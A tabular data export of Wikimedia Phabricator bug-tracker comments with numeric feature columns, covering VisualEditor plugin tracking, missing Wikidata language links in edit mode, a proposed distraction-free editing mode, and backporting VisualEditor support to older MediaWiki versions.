226001,VisualEditor: Plugin editors to be created (tracking),"Setting to ""Lowest"" priority as in general the WMF VisualEditor team won't itself be creating these, but instead helping others do so.",,,1364926707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,4.185185185185185,0.9629629629629629,"Setting to ""Lowest"" priority as in general the WMF VisualEditor team won't itself be creating these, but instead helping others do so."
47687,no language links shown in edit mode,"When you are editing an article the language links from Wikidata are not shown in the sidebar. Local links are shown.

(Reported at https://en.wikipedia.org/wiki/Wikipedia_talk:Wikidata/Archive_1#No_interwiki_links_when_you_are_in_edit_mode%3F)

**See Also**:
{T48488}
{T63768}",Lowest,10.0,1362396060,1644158450.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-TASK-xb522jegn4symvyf4f4u,task_description,resolved,True,c1,1,True,True,False,-17,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.2954545454545454,0.7045454545454546,"When you are editing an article the language links from Wikidata are not shown in the sidebar. Local links are shown.

(Reported at URL

**See Also**:
{T48488}
{T63768}"
1859033,no language links shown in edit mode,Thanks for checking! It might have been fixed in the meantime then. Let's close it.,,,1644158450,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,True,,,448,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6315789473684212,0.9473684210526315,Thanks for checking! It might have been fixed in the meantime then. Let's close it.
1859026,no language links shown in edit mode,"If I open https://en.wikipedia.org/wiki/Zdravets,_Varna_Province for editing and hit {nav Show preview} using the 2010 wikitext editor and legacy Vector, I see language links in the sidebar, even though none are specified in wikitext, only through Wikidata. @Lydia_Pintscher, could you please provide specific steps to reproduce, or close this ticket if you can’t reproduce it anymore either?",,,1644154172,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,False,,,448,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,8.0,12.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,12.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,0.0,8.0,12.0,8.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.257575757575758,0.8333333333333334,"If I open URL for editing and hit {nav Show preview} using the 2010 wikitext editor and legacy Vector, I see language links in the sidebar, even though none are specified in wikitext, only through Wikidata.SCREEN_NAME, could you please provide specific steps to reproduce, or close this ticket if you can’t reproduce it anymore either?"
914567,no language links shown in edit mode,Should this still be fixed? see {T160931},,,1503080071,,PHID-USER-3wfzrv2a2ggwauxc52is,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,False,,,215,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Should this still be fixed? see {T160931}
847099,no language links shown in edit mode,Still an issue in wikitext editor.,,,1492960800,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,True,,,198,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,Still an issue in wikitext editor.
208994,no language links shown in edit mode,*** Bug 58518 has been marked as a duplicate of this bug. ***,,,1387190061,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58518 has been marked as a duplicate of this bug. ***
208990,no language links shown in edit mode,"Tested on fiwiki: Language links are shown when you click ""Show preview"". In VisualEditor, they are shown immediately. Is this enough?",,,1383629823,,PHID-USER-pxpu4muyuyvybjioj2la,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,7.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,4.0,4.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,0.8571428571428571,"Tested on fiwiki: Language links are shown when you click ""Show preview"". In VisualEditor, they are shown immediately. Is this enough?"
47300,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension","Perhaps might be nice in MediaWiki core, but would definitely be nice as at least a MediaWiki extension, we should implement a ""zen mode"" capability from ?action=edit.

GitHub and it seems like the Cloud9 IDE both have this mode. It's demonstrated here: <https://docs.c9.io/zen_mode.html>.

In short, in the case of GitHub, it appears to be a bit of JavaScript that adds a ""zen mode"" button to the UI. When the user clicks this button, the non-essential page elements are hidden from the page, allowing the user to focus on the textarea (or other central input area) alone. Basically it reduces the amount of noise on the page in order to increase the signal.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=14501",Lowest,10.0,1361595420,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-edwajw6htxppl743yg5e,task_description,open,True,c1,1,False,False,,-19,,0.0,0.0,0.0,0.5,0.0,5.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,4.5,9.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,4.5,1.0,2.0,0.5,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,14.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,2.0,10.5,0.5,1.5,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.5,9.5,5.0,0.5,2.0,0.0,2.5,0.0,1.0,2.0,0.0,0.5,0.0,0.5,0.5,3.671041308089501,0.664443488238669,"Perhaps might be nice in MediaWiki core, but would definitely be nice as at least a MediaWiki extension, we should implement a ""zen mode"" capability from ?action=edit.

GitHub and it seems like the Cloud9 IDE both have this mode. It's demonstrated here: <URL

In short, in the case of GitHub, it appears to be a bit of JavaScript that adds a ""zen mode"" button to the UI. When the user clicks this button, the non-essential page elements are hidden from the page, allowing the user to focus on the textarea (or other central input area) alone. Basically it reduces the amount of noise on the page in order to increase the signal.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
435539,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension",So... I like the way that Phabricator does full screen. It's probably more accurately called full browser window. I think we should steal the (idea of) their code and put it in MediaWiki core. It can't be that much JavaScript... and then the wikitext edit toolbar (WikiEditor?) and the VisualEditor toolbar can be modified to expose this full browser window functionality. Does that seem reasonable?,,,1427761367,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-edwajw6htxppl743yg5e,task_subcomment,,True,c1,3,False,,,91,,1.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,5.0,3.0,14.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,4.0,5.0,3.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.2405063291139244,0.7215189873417721,So... I like the way that Phabricator does full screen. It's probably more accurately called full browser window. I think we should steal the (idea of) their code and put it in MediaWiki core. It can't be that much JavaScript... and then the wikitext edit toolbar (WikiEditor?) and the VisualEditor toolbar can be modified to expose this full browser window functionality. Does that seem reasonable?
210645,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension","Could easily be done as a gadget, rather than a extension.",,,1361616078,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-edwajw6htxppl743yg5e,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.9230769230769231,"Could easily be done as a gadget, rather than a extension."
210639,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension","Also knows as ""Distraction free mode"", e.g. in Sublime Text 2:

http://www.sublimetext.com/docs/2/distraction_free.html",,,1361613794,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-edwajw6htxppl743yg5e,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3529411764705883,0.9411764705882353,"Also knows as ""Distraction free mode"", e.g. in Sublime Text 2:

URL"
45898,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Author:** `Coiby.Xu`

**Description:**
I try a clean install of MW 1.20.2 and also install VE and Parsoid extension. When click ""VisualEditor"" button, the VE doesn't appear and there's a js error: ""Uncaught TypeError: Cannot read property 'error' of null"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1357988100,1404436245.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-utiy7prmp4a62qvvpo6d,task_description,declined,True,c1,1,False,False,False,-25,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,2.0,12.0,0.0,7.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.617283950617284,0.6049382716049383,"**Author:** CODE

**Description:**
I try a clean install of MW 1.20.2 and also install VE and Parsoid extension. When click ""VisualEditor"" button, the VE doesn't appear and there's a js error: ""Uncaught TypeError: Cannot read property 'error' of null"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
227792,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them",Now that 1.23.x is released I suppose this is unnecessary.,,,1404436245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.9090909090909091,Now that 1.23.x is released I suppose this is unnecessary.
227784,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","(In reply to comment #8)
> I would suggest creating a backport and then ask for a review of it.  If a
> person can be found to implement and support the backport, I don't have a
> problem with shipping a 1.19 with it.

Thanks Mark; marking as lowest priority as (as said above) WMF won't be working on this, but if a third party would like to we'd be happy to help them out.",,,1366906626,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,8.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,13.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,4.0,19.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,3.173076923076923,0.8076923076923077,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

Thanks Mark; marking as lowest priority as (as said above) WMF won't be working on this, but if a third party would like to we'd be happy to help them out."
227777,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","(In reply to comment #6)
> Copying Mark - Mark, what's policy for backporting functionality changes in
> core so that people can use extensions?

Andre is right -- depends on the complexity.  We did have some discussion of this on Wikitech-l, but I don't think a final decision was made.

I would suggest creating a backport and then ask for a review of it.  If a person can be found to implement and support the backport, I don't have a problem with shipping a 1.19 with it.",,,1366902873,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-10,,1.0,0.0,0.0,2.0,2.0,2.0,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,4.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,11.0,1.0,3.0,11.0,0.0,0.0,0.0,1.0,10.0,0.0,2.0,0.0,7.0,12.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,3.393258426966292,0.7078651685393258,"(In reply to comment #6)
QUOTE
QUOTE

Andre is right -- depends on the complexity.  We did have some discussion of this on Wikitech-l, but I don't think a final decision was made.

I would suggest creating a backport and then ask for a review of it.  If a person can be found to implement and support the backport, I don't have a problem with shipping a 1.19 with it."
227772,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","(In reply to comment #6)
> Copying Mark - Mark, what's policy for backporting functionality changes in
> core so that people can use extensions?

James: Have specific commits been identified? 
I guess it highly depends on the complexity of the task...",,,1366892475,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,12.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6176470588235294,0.8823529411764706,"(In reply to comment #6)
QUOTE
QUOTE

James: Have specific commits been identified? 
I guess it highly depends on the complexity of the task..."
227768,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","Copying Mark - Mark, what's policy for backporting functionality changes in core so that people can use extensions?",,,1366665631,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.666666666666667,0.9523809523809523,"Copying Mark - Mark, what's policy for backporting functionality changes in core so that people can use extensions?"
227763,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Coiby.Xu** wrote:

Suddenly VE gave such error:""Uncaught TypeError: Cannot call method 'enable' of null"" while it was normal a few days. I'm not sure if that error is related to this bug.",,,1359041505,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-23,,2.0,0.0,0.0,2.0,4.0,8.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,6.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.8333333333333334,"**Coiby.Xu** wrote:

Suddenly VE gave such error:""Uncaught TypeError: Cannot call method 'enable' of null"" while it was normal a few days. I'm not sure if that error is related to this bug."
227758,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Coiby.Xu** wrote:

Not really, I find it works on 1.20.0 :)
> This is correct - minimum current version of MW for the VE code is 1.21/wmf5
> (and this may go up as we add more functionality to MW core so that VE can
> work; it is possible that these changes will get back-ported to 1.19 and 1.20
> by some volunteers, but we at WMF won't be looking at this whilst the
> extension
> is still in an experimental stage.
> 
> Will change this to an enhancement for that to be done, with low priority
> (reflecting that if a volunteer wants to do it, that'd be great).
> 
> See my comment on the wikitech-l mailing list thread:
> http://lists.wikimedia.org/pipermail/wikitech-l/2013-January/065532.html
> 
> Have added this to the Extension page on MediaWiki.org - 
> https://www.mediawiki.org/w/index.php?title=Extension:
> VisualEditor&diff=628258&oldid=610234",,,1358149634,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,35.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.36538461538461536,"**Coiby.Xu** wrote:

Not really, I find it works on 1.20.0 :)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
227752,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Coiby.Xu** wrote:

Hi Andre,
The skin I use is Vector. This Mediawiki is in the local network thus can't be accessed from outside:(
The version of VE is 72c121684c6edb6ab580258676759f62e3efd471 and Parsoid's is aa34a80a6e43fe4fe6c5a95b465bf10dee3ed922.
> Hi Coiby,
> which user interface skin do you use?
> Is this MediaWiki installation publicly accessible somewhere?
> Which versions of VE and Parsoid versions do you use?",,,1358149479,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,28.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,23.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,0.7017543859649122,"**Coiby.Xu** wrote:

Hi Andre,
The skin I use is Vector. This Mediawiki is in the local network thus can't be accessed from outside:(
The version of VE is 72c121684c6edb6ab580258676759f62e3efd471 and Parsoid's is aa34a80a6e43fe4fe6c5a95b465bf10dee3ed922.
QUOTE
QUOTE
QUOTE
QUOTE"
227746,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","This is correct - minimum current version of MW for the VE code is 1.21/wmf5 (and this may go up as we add more functionality to MW core so that VE can work; it is possible that these changes will get back-ported to 1.19 and 1.20 by some volunteers, but we at WMF won't be looking at this whilst the extension is still in an experimental stage.

Will change this to an enhancement for that to be done, with low priority (reflecting that if a volunteer wants to do it, that'd be great).

See my comment on the wikitech-l mailing list thread: http://lists.wikimedia.org/pipermail/wikitech-l/2013-January/065532.html

